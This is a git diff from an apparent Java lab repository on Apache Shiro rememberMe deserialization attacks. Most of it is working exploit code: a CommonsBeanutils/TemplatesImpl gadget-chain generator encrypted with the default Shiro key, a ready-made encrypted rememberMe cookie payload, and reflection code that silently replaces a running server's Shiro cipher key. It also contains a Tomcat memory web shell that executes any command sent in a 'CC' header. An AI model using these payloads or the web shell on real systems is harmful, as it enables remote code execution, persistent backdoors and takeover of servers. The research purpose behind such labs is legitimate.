y+ufVDwYQg9jhnIJydBwFCPeE00KPviyCdaC/x2G9e7j5PkYhNekYBYThd2CL0WBlp3YRXu3yKa550Yf+SNgKMMCgYnzH5VYqItiOLWSLARBCwmsi181OdiZMBYGcRrNIV66ZEGRd+QaIo6dHezh7SVtE7qXfFe2BkzI2KeFHWaKJ59pcs329HK7vGgXW+t6pCMpJoweWZGHzdV9WQQFVFeuhbwCfemdYujlmZdN4KIVgiroPvjnGBTzp82DeA4z82MEuCcHrodRT+XBeRz1bsdbyQueJEzMTuzoxoWpE2GrFnVPvg8+U96S/m5EoeabPACMqMS/yPQiNzOZiXjw7orWr84YJy7HaBYCAnc/NqMkg2NwQTuj0n4Y5FB7kaCcKnAZwr86+xffNKZr/U/BJSOqtM1IsZYz370w39ZYKpMIjwTeNfAvFTi3hb4T4Jm0xQqT1TDdj0WT04mFEbW6uWnZ4We8OlkSLkOBh4u93u1Ef04wtsl+LAFkJMrUgNcQmZdAroST0SwM3esZ8jMz5pbEoNWYt4+D8UGH2vEBlakQ9hyEwdndumk1zDM0JcXAWgWMIKNss4WHjUkQPpvK94yL9OnF+ShiFUZivY7ge6m1E3TEIBYrbVcuPuilP1LIKyfQe2/ul9c7h0zMsedrLu1ViEyS+8R865JhymQe6fAVaQSUA1h5KcTD1XwD8/6rkDqoRo74r6HpUiiw1BcKUI1exG++gPDuvzlj5vaFdFH1r/lBexwyxoV4DznbCpGdSFRPKXR3FGQ69c2+mH+x0jOTv+slXCKj88HRTBCEYrQD9Zp6/Tbu+7hIEucznSLXMYdOZPBkxmtgoA/buk= diff --git a/shiro/shiro-deser/pom.xml b/shiro/shiro-deser/pom.xml index c1a89c0..b6964c5 100644 --- a/shiro/shiro-deser/pom.xml +++ b/shiro/shiro-deser/pom.xml @@ -14,6 +14,12 @@ shiro-deser 1.0-SNAPSHOT + + + + + + org.apache.shiro shiro-spring @@ -44,6 +50,8 @@ + + org.springframework.boot spring-boot-starter-test @@ -62,12 +70,39 @@ hutool-all 5.5.7 - + + commons-beanutils + commons-beanutils + 1.9.2 + + + commons-collections + commons-collections + + + + - - + + + + + + + + org.bytedeco + ffmpeg + 4.1.3-1.5 + + + + + org.apache.commons + commons-collections4 + 4.0 + org.javassist javassist @@ -75,16 +110,17 @@ - - commons-beanutils - commons-beanutils - 1.9.2 - + + + + + org.apache.commons commons-lang3 3.12.0 + @@ -106,7 +142,7 @@ 8 UTF-8 - D:/java/jre/lib/rt.jar;D:/java/jre/lib/jce.jar + D:/java/jre/lib/rt.jar;D:/java/jre/lib/jce.jar;D:/java/jre/lib/tools.jar diff --git a/shiro/shiro-deser/src/main/java/summersec/shirodemo/Config/ShiroConfig.java b/shiro/shiro-deser/src/main/java/summersec/shirodemo/Config/ShiroConfig.java index 1c844d0..43b6940 100644 --- a/shiro/shiro-deser/src/main/java/summersec/shirodemo/Config/ShiroConfig.java +++ b/shiro/shiro-deser/src/main/java/summersec/shirodemo/Config/ShiroConfig.java @@ -1,5 +1,6 @@ package summersec.shirodemo.Config; +import org.apache.shiro.codec.Base64; import org.apache.shiro.mgt.RememberMeManager; import org.apache.shiro.spring.web.ShiroFilterFactoryBean; import org.apache.shiro.web.mgt.CookieRememberMeManager; @@ -34,11 +35,14 @@ DefaultWebSecurityManager securityManager() { manager.setRealm(myRealm()); return manager; } + @Bean public RememberMeManager rememberMeManager(){ CookieRememberMeManager cManager = new CookieRememberMeManager(); + cManager.setCipherKey(Base64.decode("4AvVhmFLUs0KTA3Kprsdag==")); // 用户信息保存在cookie中 - SimpleCookie cookie = new SimpleCookie("helloMe"); + SimpleCookie cookie = new SimpleCookie("rememberMe"); + // 保存时间 cookie.setMaxAge(7 * 24 * 60 * 60); cManager.setCookie(cookie); @@ -55,10 +59,23 @@ public RememberMeManager rememberMeManager(){ ShiroFilterFactoryBean shiroFilterFactoryBean() { ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean(); bean.setSecurityManager(this.securityManager()); - bean.setLoginUrl("/login"); +// bean.setLoginUrl("/login"); +// bean.setUnauthorizedUrl("/unauth"); +// bean.setSuccessUrl("/success"); + Map map = new LinkedHashMap(); - map.put("/doLogin", "anon");//* anon:匿名用户可访问 - map.put("/index/*", "authc"); //authc:认证用户可访问 +// map.put("/doLogin", "anon");//* anon:匿名用户可访问 +// map.put("/login", "anon");//* anon:匿名用户可访问 +// map.put("/index", "anon");//* anon:匿名用户可访问 +// map.put("/static/**", "anon");//* anon:匿名用户可访问 +// map.put("/static/css/*", "anon");//* anon:匿名用户可访问 +// map.put("/static/js/*", "anon");//* anon:匿名用户可访问 +// map.put("/static/images/*", "anon");//* anon:匿名用户可访问 + map.put("/**", "anon");//* anon:匿名用户可访问 + map.put("/*", "anon");//* anon:匿名用户可访问 + + map.put("/index/**", "anon"); //authc:认证用户可访问 + map.put("/index/*", "anon"); //authc:认证用户可访问 bean.setFilterChainDefinitionMap(map); return bean; } @@ -68,12 +85,12 @@ ShiroFilterFactoryBean shiroFilterFactoryBean() { * * @return: simpleCookie */ - @Bean - public SimpleCookie rememberMeCookie(){ - SimpleCookie simpleCookie = new SimpleCookie("Me"); - simpleCookie.setMaxAge(2592000); - return simpleCookie; - } +// @Bean +// public SimpleCookie rememberMeCookie(){ +// SimpleCookie simpleCookie = new SimpleCookie("helloMe"); +// simpleCookie.setMaxAge(2592000); +// return simpleCookie; +// } } diff --git a/shiro/shiro-deser/src/main/java/summersec/shirodemo/Controller/Hello.java b/shiro/shiro-deser/src/main/java/summersec/shirodemo/Controller/Hello.java new file mode 100644 index 0000000..7ecd6db --- /dev/null +++ b/shiro/shiro-deser/src/main/java/summersec/shirodemo/Controller/Hello.java @@ -0,0 +1,54 @@ +package summersec.shirodemo.Controller; + +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; + +import javax.servlet.ServletContext; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.lang.reflect.Field; + +/** + * @ClassName: Hello + * @Description: TODO + * @Author: Summer + * @Date: 2021年10月19日 17:10 + * @Version: v1.0.0 + * @Description: + **/ +@Controller +public class Hello { + + @RequestMapping("/say") + public String HelloSay(HttpServletRequest request , HttpServletResponse response) throws Exception { + + ServletContext context = request.getServletContext(); + Object obj = context.getFilterRegistration("shiroFilterFactoryBean"); + Field field = obj.getClass().getDeclaredField("filterDef"); + field.setAccessible(true); + obj = field.get(obj); + field = obj.getClass().getDeclaredField("filter"); + field.setAccessible(true); + obj = field.get(obj); + field = obj.getClass().getSuperclass().getDeclaredField("securityManager"); + field.setAccessible(true); + obj = field.get(obj); + field = obj.getClass().getSuperclass().getDeclaredField("rememberMeManager"); + field.setAccessible(true); + obj = field.get(obj); + java.lang.reflect.Method setEncryptionCipherKey = obj.getClass().getSuperclass().getDeclaredMethod("setEncryptionCipherKey", new Class[]{byte[].class}); + byte[] bytes = java.util.Base64.getDecoder().decode("3AvVhmFLUs0KTA3Kprsdag=="); +// java.util.Base64.getEncoder().encode(bytes); + setEncryptionCipherKey.invoke(obj, new Object[]{bytes}); + java.lang.reflect.Method setDecryptionCipherKey = obj.getClass().getSuperclass().getDeclaredMethod("setDecryptionCipherKey", new Class[]{byte[].class}); + setDecryptionCipherKey.invoke(obj, new Object[]{bytes}); +// response. +// response.getClas + response.getWriter().println("Shiro Key Modify To 3AvVhmFLUs0KTA3Kprsdag== Success !"); + response.getWriter().flush(); + response.getWriter().close(); + + return "ok"; + } + +} diff --git a/shiro/shiro-deser/src/main/java/summersec/shirodemo/Controller/IndexController.java b/shiro/shiro-deser/src/main/java/summersec/shirodemo/Controller/IndexController.java index 633ca51..a526049 100644 --- a/shiro/shiro-deser/src/main/java/summersec/shirodemo/Controller/IndexController.java +++ b/shiro/shiro-deser/src/main/java/summersec/shirodemo/Controller/IndexController.java @@ -3,6 +3,10 @@ import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; +import javax.servlet.ServletRequest; +import javax.servlet.ServletResponse; +import java.util.Map; + /** * @ClassName: IndexController * @Description: TODO @@ -17,9 +21,64 @@ public class IndexController { @RequestMapping({"/index"}) public String index(){ - return "index"; } + @RequestMapping("/index/hello") + public String hello(){ + return "hello"; + } + + @RequestMapping("/change") + public String change(ServletRequest request, ServletResponse response)throws Exception{ + try { + + org.apache.tomcat.util.threads.TaskThread thread = (org.apache.tomcat.util.threads.TaskThread) Thread.currentThread(); + java.lang.reflect.Field field = thread.getClass().getSuperclass().getDeclaredField("contextClassLoader"); + field.setAccessible(true); + Object obj = field.get(thread); + try { + field = obj.getClass().getDeclaredField("resources"); + }catch (Exception e){ + field = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("resources"); + } + + field.setAccessible(true); + obj = field.get(obj); + field = obj.getClass().getDeclaredField("context"); + field.setAccessible(true); + obj = field.get(obj); + field = obj.getClass().getSuperclass().getDeclaredField("filterConfigs"); + field.setAccessible(true); + obj = field.get(obj); + java.util.HashMap objMap = (java.util.HashMap) obj; + java.util.Iterator> entries = objMap.entrySet().iterator(); + while (entries.hasNext()) { + Map.Entry entry = entries.next(); + if (entry.getKey().equals("shiroFilterFactoryBean")) { + obj = entry.getValue(); + field = obj.getClass().getDeclaredField("filter"); + field.setAccessible(true); + obj = field.get(obj); + field = obj.getClass().getSuperclass().getDeclaredField("securityManager"); + field.setAccessible(true); + obj = field.get(obj); + field = obj.getClass().getSuperclass().getDeclaredField("rememberMeManager"); + field.setAccessible(true); + obj = field.get(obj); + java.lang.reflect.Method setEncryptionCipherKey = obj.getClass().getSuperclass().getDeclaredMethod("setEncryptionCipherKey", new Class[]{byte[].class}); + byte[] bytes = java.util.Base64.getDecoder().decode("3AvVhmFLUs0KTA3Kprsdag=="); +// java.util.Base64.getEncoder().encode(bytes); + setEncryptionCipherKey.invoke(obj, new Object[]{bytes}); + java.lang.reflect.Method setDecryptionCipherKey = obj.getClass().getSuperclass().getDeclaredMethod("setDecryptionCipherKey", new Class[]{byte[].class}); + setDecryptionCipherKey.invoke(obj, new Object[]{bytes}); + } + } + }catch (Exception e){ + + }; + + return "ok"; + } } diff --git a/shiro/shiro-deser/src/main/java/summersec/shirodemo/Controller/LoginController.java b/shiro/shiro-deser/src/main/java/summersec/shirodemo/Controller/LoginController.java index 438b5dd..9a66fdd 100644 --- a/shiro/shiro-deser/src/main/java/summersec/shirodemo/Controller/LoginController.java +++ b/shiro/shiro-deser/src/main/java/summersec/shirodemo/Controller/LoginController.java @@ -8,6 +8,7 @@ import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.servlet.HandlerInterceptor; /** * @ClassName: UserController @@ -18,7 +19,7 @@ * @Description: **/ @Controller -public class LoginController { +public class LoginController implements HandlerInterceptor { @RequestMapping({"/login"}) public String Login(){ @@ -30,8 +31,9 @@ public String doLoginPage(@RequestParam("username") String username, @RequestPar Subject subject = SecurityUtils.getSubject(); try { - subject.login(new UsernamePasswordToken(username, password, rememberMe.equals("remember-me"))); - return "forward:/"; + subject.login(new UsernamePasswordToken(username, password, rememberMe.equals("rememberMe"))); + System.out.println("登录成功!"); + return "FORWARD:/success"; } catch (AuthenticationException var6) { return "forward:/login"; } @@ -41,12 +43,18 @@ public String doLoginPage(@RequestParam("username") String username, @RequestPar public String helloPage() { return "hello"; } - +// @RequestMapping({"/unauth"}) public String errorPage() { - return "error"; + return "error! unauth ..."; + } + + @RequestMapping("/success") + public String success(){ + return "success auth"; } + } diff --git a/shiro/shiro-deser/src/main/java/summersec/shirodemo/Controller/SmallMem.java b/shiro/shiro-deser/src/main/java/summersec/shirodemo/Controller/SmallMem.java new file mode 100644 index 0000000..79d2d86 --- /dev/null +++ b/shiro/shiro-deser/src/main/java/summersec/shirodemo/Controller/SmallMem.java @@ -0,0 +1,143 @@ +package summersec.shirodemo.Controller; + +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; + +import javax.servlet.ServletRequest; +import javax.servlet.ServletResponse; + +/** + * @ClassName: SmallMem + * @Description: TODO + * @Author: Summer + * @Date: 2021年10月21日 10:04 + * @Version: v1.0.0 + * @Description: + **/ +@Controller +public class SmallMem { + + @RequestMapping("/memshell") + public void memshell(ServletRequest request, ServletResponse response) throws Exception { + // flag 标记作用 + boolean flag = false; + // 获取当前线程组 + ThreadGroup group = Thread.currentThread().getThreadGroup(); + // 反射获取字段threads + java.lang.reflect.Field f = group.getClass().getDeclaredField("threads"); + f.setAccessible(true); + // f.get(group) 获取 threads 线程中数组对象 + Thread[] threads = (Thread[]) f.get(group); + for (int i = 0; i < threads.length; i++) { + //14 + try { + Thread t = threads[i]; + if (t == null) { + continue; + } + + String str = t.getName(); + //http-nio-8090-BlockPoller continue NoSuchField异常 i=3 + if (str.contains("exec") || !str.contains("http")) { + continue; + } + //str = http-nio-8090-ClientPoller 进入下面 ps: i=14 + // java.lang.Thread + f = t.getClass().getDeclaredField("target"); + f.setAccessible(true); + // obj -> NioEndpoint$Poller实例化对象 + Object obj = f.get(t); + // NioEndpoint$Poller implements Runnable + if (!(obj instanceof Runnable)) { + continue; + } + // this0ドル 是NioEndpoint对象 + f = obj.getClass().getDeclaredField("this0ドル"); + f.setAccessible(true); + // f.get(obj) --> org.apche.tomcat.util.net.NioEndpoint 对象 + obj = f.get(obj); + // NioEndpoint extends AbstractJsseEndpoint -->extends AbstractEndpoint$Handler + // AbstractEndpoint$Handler 是一个接口,在org.apche.coyote.AbstractProtocol$ConnectionsHanhler实现 + try { + f = obj.getClass().getDeclaredField("handler"); + } catch (NoSuchFieldException e) { + f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler"); + } + // obj --> org.apche.coyote.AbstractProtocol$ConnectionsHanhler + f.setAccessible(true); + obj = f.get(obj); + try { + f = obj.getClass().getSuperclass().getDeclaredField("global"); + } catch (NoSuchFieldException e) { + // AbstractProtocol$ConnectionsHanhler + f = obj.getClass().getDeclaredField("global"); + } + // obj --> org.apche.coyote.RequestGroupInfo + f.setAccessible(true); + obj = f.get(obj); + f = obj.getClass().getDeclaredField("processors"); + f.setAccessible(true); + // processors --> List + java.util.List processors = (java.util.List) (f.get(obj)); + // processors.size() == 1 + for (int j = 0; j < processors.size(); ++j) { + Object processor = processors.get(j); + f = processor.getClass().getDeclaredField("req"); + f.setAccessible(true); + // org.apche.coyote.Request + Object req = f.get(processor); + // org.apche.coyote.Response + Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req, new Object[0]); + // header cc: "cmd" + str = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"CC"}); + if (str != null && !str.isEmpty()) { + resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)}); + String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/sh", "-c", str}; + String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8"; + byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream(),charsetName)).useDelimiter("\\A").next().getBytes(charsetName); + try { + Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk"); + obj = cls.newInstance(); + cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, new Object[]{result, new Integer(0), new Integer(result.length)}); + resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj}); + } catch (NoSuchMethodException var5) { + Class cls = Class.forName("java.nio.ByteBuffer"); + obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{result}); + resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj}); + } + flag = true; + } + if (flag) { + break; + } + } + if (flag) { + break; + } + } catch (Exception e) { + continue; + } + } + } + + public byte[] base64Decode(String str) throws Exception { + try { + Class clazz = Class.forName("sun.misc.BASE64Decoder"); + return (byte[])((byte[])clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)); + } catch (Exception var5) { + Class clazz = Class.forName("java.util.Base64"); + Object decoder = clazz.getMethod("getDecoder").invoke((Object)null); + return (byte[])((byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)); + } + } + public String base64Eecode(byte[] str) throws Exception { + try { + Class clazz = Class.forName("sun.misc.BASE64Eecoder"); + return (String) clazz.getMethod("encodeBuffer", new Class[]{byte[].class}).invoke(clazz.newInstance(), new Object[]{str}); + } catch (Exception var5) { + Class clazz = Class.forName("java.util.Base64"); + Object decoder = clazz.getMethod("getEncoder").invoke((Object)null); + return (String) decoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(decoder, new Object[]{str}); + } + } +} diff --git a/shiro/shiro-deser/src/main/java/summersec/shirodemo/Payload/CommonsBeanutilsPropertySource.java b/shiro/shiro-deser/src/main/java/summersec/shirodemo/Payload/CommonsBeanutilsPropertySource.java index a39a350..0266915 100644 --- a/shiro/shiro-deser/src/main/java/summersec/shirodemo/Payload/CommonsBeanutilsPropertySource.java +++ b/shiro/shiro-deser/src/main/java/summersec/shirodemo/Payload/CommonsBeanutilsPropertySource.java @@ -104,11 +104,7 @@ public static void main(String[] args) throws Exception { ois.readObject(); -// AesCipherService aes = new AesCipherService(); -// byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); -// -// ByteSource ciphertext = aes.encrypt(payloads, key); -// System.out.printf(ciphertext.toString()); + } } diff --git a/shiro/shiro-deser/src/main/java/summersec/shirodemo/Payload/CommonsBeanutilsString2.java b/shiro/shiro-deser/src/main/java/summersec/shirodemo/Payload/CommonsBeanutilsString2.java new file mode 100644 index 0000000..96e0760 --- /dev/null +++ b/shiro/shiro-deser/src/main/java/summersec/shirodemo/Payload/CommonsBeanutilsString2.java @@ -0,0 +1,71 @@ +package summersec.shirodemo.Payload; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import javassist.ClassPool; +import javassist.CtClass; +import org.apache.commons.beanutils.BeanComparator; +import org.apache.shiro.crypto.AesCipherService; +import org.apache.shiro.util.ByteSource; + +import java.io.ByteArrayOutputStream; +import java.io.ObjectOutputStream; +import java.lang.reflect.Field; +import java.util.PriorityQueue; + +/** + * @ClassName: CommonsBeanutilsString2 + * @Description: TODO + * @Author: Summer + * @Date: 2021/7/26 11:28 + * @Version: v1.0.0 + * @Description: + **/ +public class CommonsBeanutilsString2 { + + public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { + Field field = obj.getClass().getDeclaredField(fieldName); + field.setAccessible(true); + field.set(obj, value); + } + + public byte[] getPayload(byte[] clazzBytes) throws Exception { + TemplatesImpl obj = new TemplatesImpl(); + setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes}); + setFieldValue(obj, "_name", "HelloTemplatesImpl"); + setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); + + final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); + final PriorityQueue queue = new PriorityQueue(2, comparator); + // stub data for replacement later + queue.add("1"); + queue.add("1"); + + setFieldValue(comparator, "property", "outputProperties"); + setFieldValue(queue, "queue", new Object[]{obj, obj}); + + // ================== + // 生成序列化字符串 + ByteArrayOutputStream barr = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(barr); + oos.writeObject(queue); + oos.close(); + + return barr.toByteArray(); + } + public static void main(String[] args) throws Exception { + ClassPool pool = ClassPool.getDefault(); + CtClass clazz = pool.get(Evil.class.getName()); +// byte[] bytes = Evil.class.getName().getBytes(); +// byte[] payloads = new CommonsBeanutils1Shiro().getPayload(bytes); + byte[] payloads = new CommonsBeanutilsString().getPayload(clazz.toBytecode()); + + AesCipherService aes = new AesCipherService(); + byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); + + ByteSource ciphertext = aes.encrypt(payloads, key); + System.out.printf(ciphertext.toString()); + } + +} + diff --git a/shiro/shiro-deser/src/main/java/summersec/shirodemo/Payload/Payload.java b/shiro/shiro-deser/src/main/java/summersec/shirodemo/Payload/Payload.java index 33e54a3..c63af07 100644 --- a/shiro/shiro-deser/src/main/java/summersec/shirodemo/Payload/Payload.java +++ b/shiro/shiro-deser/src/main/java/summersec/shirodemo/Payload/Payload.java @@ -1,22 +1,15 @@ package summersec.shirodemo.Payload; -import cn.hutool.core.io.FileUtil; import cn.hutool.core.io.file.FileReader; -import cn.hutool.core.util.HexUtil; -import cn.hutool.core.util.URLUtil; -import cn.hutool.crypto.Mode; -import cn.hutool.crypto.Padding; -import cn.hutool.crypto.symmetric.AES; import cn.hutool.http.HttpRequest; import org.apache.shiro.codec.Base64; +import org.apache.shiro.subject.SimplePrincipalCollection; import summersec.shirodemo.Encrypt.CbcEncrypt; -import summersec.shirodemo.Encrypt.Encrypt; +import summersec.shirodemo.Encrypt.GcmEncrypt; -import java.io.File; -import java.io.IOException; -import java.net.HttpURLConnection; -import java.net.URL; +import java.io.ByteArrayOutputStream; +import java.io.ObjectOutputStream; /** @@ -44,29 +37,55 @@ public class Payload { public static void main(String[] args) throws Exception { // shiro key - String key = "kPH+bIxk5D2deZiIxcaaaA=="; +// String key = "kPH+bIxk5D2deZiIxcaaaA=="; + String key = "4AvVhmFLUs0KTA3Kprsdag=="; byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="); // ysoserial.jar 路径 - String ysoserial = "D:\\Tools\\反序列化\\ysoserial-0.0.6-SNAPSHOT-all.jar"; +// String ysoserial = "D:\\Tools\\反序列化\\ysoserial-0.0.6-SNAPSHOT-all.jar"; // payload 生成文件路径 - String filepath = "E:\\Soures\\JavaLearnVulnerability\\shiro\\shiro-deser\\t.txt"; +// String filepath = "E:\\myself\\OneDrive - Colegio Público Torre Malmuerta\\Soures\\JavaLearnVulnerability\\shiro\\shiro-deser\\t.txt"; +// String filepath = "D:\\Tools\\反序列化\1円.ser"; + String filepath = "G:\\work\1円.ser"; - String CMD = "java -jar " + ysoserial + " CommonsCollections4 calc>" + filepath; - new Tools().exeCmd(CMD); FileReader fileReader = new FileReader(filepath); + SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection(); + ByteArrayOutputStream bao = new ByteArrayOutputStream(); + try (ObjectOutputStream objectOutputStream = new ObjectOutputStream(bao)) { + objectOutputStream.writeObject(simplePrincipalCollection); + objectOutputStream.flush(); + } + byte[] bytes = bao.toByteArray(); +// + + // aes cbc加密 CbcEncrypt cbcEncrypt = new CbcEncrypt(); + GcmEncrypt gcmEncrypt = new GcmEncrypt(); // payload cookie // 使用 cbcEncrypt 进行加密 - String cookie = "rememberMe=" + cbcEncrypt.encrypt(key,fileReader.readBytes()); + String cookie = ""; + cookie = "rememberMe=" + cbcEncrypt.encrypt(key,bytes); + cookie += "; rememberMe=" + cbcEncrypt.encrypt(key,bytes); +// cookie += "; rememberMe=" + ""; +// cookie += "; rememberMe=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